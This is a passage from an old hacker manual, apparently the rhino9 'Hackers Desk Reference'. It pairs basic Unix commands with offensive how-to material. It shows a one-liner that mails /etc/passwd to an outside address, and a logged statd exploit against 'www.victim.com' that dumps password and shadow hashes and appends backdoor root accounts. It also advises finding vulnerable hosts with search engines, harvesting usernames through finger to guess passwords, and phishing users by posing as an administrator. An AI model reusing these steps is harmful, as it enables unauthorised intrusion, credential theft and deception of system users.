Hackers Desk Reference

$

we could also use this to find a username with out a password in the passwd file. We would do cat /etc/passwd | grep ::

mv - Moves (rename) files and directorys. Syntax: mv filename newfilename You can also pass folder arguments such as mv /etc/passwd /etc/passwd.txt Example mv command.

$ ls

rhino9

$ mv rhino9 rhino9.txt

$ ls

rhino9.txt

$

cp - Copy. Syntax: cp filename copiedfilename You can also pass folder arguments

ex: cp /e/beer cp /e/beer.txt

man - Manual pages. Syntax man commandyouneedhelpon. Ex: man grep would give you help on the grep command

--help - Get help on certain commands. Ex: finger -help

mkdir - Creates a directory. Syntax: mkdir newdirname

rmdir - Removes a directory. Syntax: rmdir dirname

rm - Removes files and folder. Syntax: rm filename rm -R foldername (most systems)

write - Write to another users terminal. Syntax write user ttyname then hit enter then type stuff then ctrl+d

mesg - Turns on or off write access to your terminal. Syntax: mesg y (on) mesg n (off)

su - While you are already logged into a system. You can log in with another account. su username

w - Shows who is online.

who - shows who is online.

[16.0.6] Special Chracters in Unix:

* - matches any number of single characters eg. $ ls john* will list all files that begin with john

[...] - matchs any one of the chracter in the [ ] ? - matches any single chracter

& - runs a process in the backgroung leaving your terminal free $ - values used for variables also $n - null argument

>- redirectes output ls -la > /tmp/list < - redirects input to come from a file

>> - redirects command to be added (appended) to the end of a file

| - pipe output (eg: cat /etc/passwd | mail tk85@hotmail.com will mail tk85@hotmail.com the /etc/passwd file)

[16.0.7] File Permissions Etc..

-rwxrwxrwx 1 user group 5 Dec 22 12:52 filename

The first section is the file permissions, read & write etc..

If the first character is:

- - is an ordinary file d - is a directory

b - is a block file

SunOS X.X & Sys V systems. It works by exploiting a buffer overflow through rpc and drops you into root on a remote system. There are statd scanners and other neat tools that can be found at,

www.d-lab.com.ar/sekret/warez (home of the famous Code Zero). Once you have the statd exploit program (runs on some sunos & sys v servers) you will want to either use a scanner to scan a large list of servers for statd exploitable ones. One good way of finding statd exploitable server is going to yahoo and then searching for "sys v" then try the different servers that yahoo finds. You can use a program called "hosts" by Devix that will dump server names from html files. So if you goto yahoo and then search for sys v you could dump all the serves into a text file with the hosts program and then use a statd scanner to have it check for statd exploitable servers. Devix's hosts program can be found on the rhino9 site. Ok so say you have found a statd able server. You type at your prompt statd server.com Here is a log of an actual hack using statd. Note: Comments have *'s around them.

InterCore:/home/chameleon/ $statd www.victim.com

*This server is statd exploitable but the server admin has been notified so don't try it.*

rpc.statd is located on tcp port 44417

sent exploit code, now waiting for shell...

*first thing to do is type, w, to see who is on and if any sysadmins are active*

# w

5:27am up 3 day(s), 6:35, 4 users, load average: 0.05, 0.06, 0.07

*Note: statd is not telnet so you wont show up when someone does w etc.. so you are a ghost*

# cat /etc/passwd

root:x:0:1:System Administrators:/:/sbin/sh daemon:x:1:1:0000-Admin(0000):/: bin:x:2:2:0000-Admin(0000):/usr/bin: sys:x:3:3:0000-Admin(0000):/: adm:x:4:4:0000-Admin(0000):/var/adm:

kane:x:539:107:Kane Products FTP account:/usr/www/docs/kane/:/bin/true ecco:x:540:107:ECCO:/usr/www/clients/ecco/:/bin/true iodatsys:x:541:107:I/O Data Systems:/usr/www/clients/iodatasys/:/bin/true

nealschu:x:542:107:Neal Schuman FTP Account:/usr/www/clients/nealschuman/:/bin/true

jjames:x:543:107:Joanne James:/home/jjames:/bin/tcsh nlock:x:543:107:nlock:/home/milo:/bin/tcsh xlock:x:0:1:xlock:/:/sbin/sh

#echo b0bby:x:542:107:Rhino9 owns bitch:/usr/rhino9/:/bin/tcsh >> /etc/passwd

#echo b0b:x:0:1:Rhino Root:/:/sbin/sh >> /etc/passwd

*What this does is copys a low level user b0bby and a root user b0b. Remember that 2 >>'s make the stuff appened to the passwd file. If it was one > then the whole thing would be over written and that is not good!*

# cat /etc/shadow

root:jLKY54WA3Teeo:10200::::::

daemon:NP:6445::::::

bin:NP:6445::::::

sys:NP:6445::::::

adm:NP:6445::::::

kane:*LK*:::::::

ecco:J/f78z945yJiQ:10199::::::

iodatsys:k/F455ygv0lKo:10199::::::

nealschu:Z1te54ytjJxtyY:10199::::::

jjames:q1dMg453A0LYLE:10199::::::

nlock:hEcxTL/4353p3FU:10216::::::

xlock::10200::::::

#echo b0bby::10199:::::: >> /etc/shadow

#echo b0b::10200:::::: >> /etc/shadow

*You must do the passwd and shadow echos as we have show here if the system uses shadowed passwords. What we have just done is add the logins to the shadow password*

#

*Now press control + ][ Then hit enter*

DropStatd> quit

*Type quit at the prompt. You are now back on your system. Now telnet back to www.victim.com*

InterCore:/home/chameleon/ $ telnet www.victim.com

Trying 205.133.121.210...

Connected to deals.4deals.com.

Escape character is '^]'.

UNIX(r) System V Release 4.0 (hq)

login: b0bby

*Then it will ask you to set a password*

VictimCorp$ su b0b

#

*What we did the was su into b0b, our root account. Now set a pass for b0b*

# passwd b0b

*Enter your pass*

There you go that basically all it takes to get root onto a system that is statd exploitable.

Thank you to so1o for that mad phat exploit.

[16.0.9] System Probing

The following are ways in which to gather information from a target host.

For the rest of this topic we will refrer to the target site which will be ninja.com.

These are in no order and are mostly unix commands used to gather information about a system.

[16.1.0] Port scanning:

You can find many port scanners on the internet. Search yahoo for portscan etc...

What is a port scanner?

What a port scanner does is it checks a remote host for open ports, ports listening for a connection request or remote services etc... The importance of port scanning a system is to find out the services it has open. If we know what services a server has open we can

then research and try to find flaws for those services. Also we can do certain DoS attacks if we know what ports are open. There are many port scanners. Some of the more advanced ones are for unix and can not leave a trace on the remote server that you port scanned.

[16.1.1] rusers and finger command:

The commands syntax are as follows:

rusers [-a] [-h] [-i] [-l] [-u] [host ...]

Now you will find however that most servers have turned off finger services. Almost no WindowsNT servers have finger services and most unix have shut off finger services. The rusers command is to check for people logged in with rsh or rlogin (remote login).

Side Note: There used to be an old bug in rlogin where you could type: rlogin -lroot victim.com and when the remote server parsed the data it would not read right and you would get root access however this technique is old and rarely works anymore. By using finger and rusers we can get users names and that right there can lead to access of a system. Take nether.net for example. If you finger nether.net

(finger @nether.net) you will get a list of user names. Now its been my experience that systems such as nether.net or places that give access to everyday users, 1 out of 70 or so users picks the same user name as there password. So it wouldn't take much time to finger @nether.net then telnet to nether.net and try all the users you got from the finger. Also since you have gotten a list of usernames from finger nether.net you could then send e-mails to the users saying that you are a system official at nether.net and need to verify there password etc... You would be surprised what a little mind games can do for you.

Email

-------------------------------------------------------------------------------

-------------------------------------------------------------------------------

For a more detailed response, finger "query_smyth@directory.purdue.edu". For help, finger "help@directory.purdue.edu". InterCore:/home/chameleon/ $

Now this helps us in some ways and doesn't. We can see through this finger full names of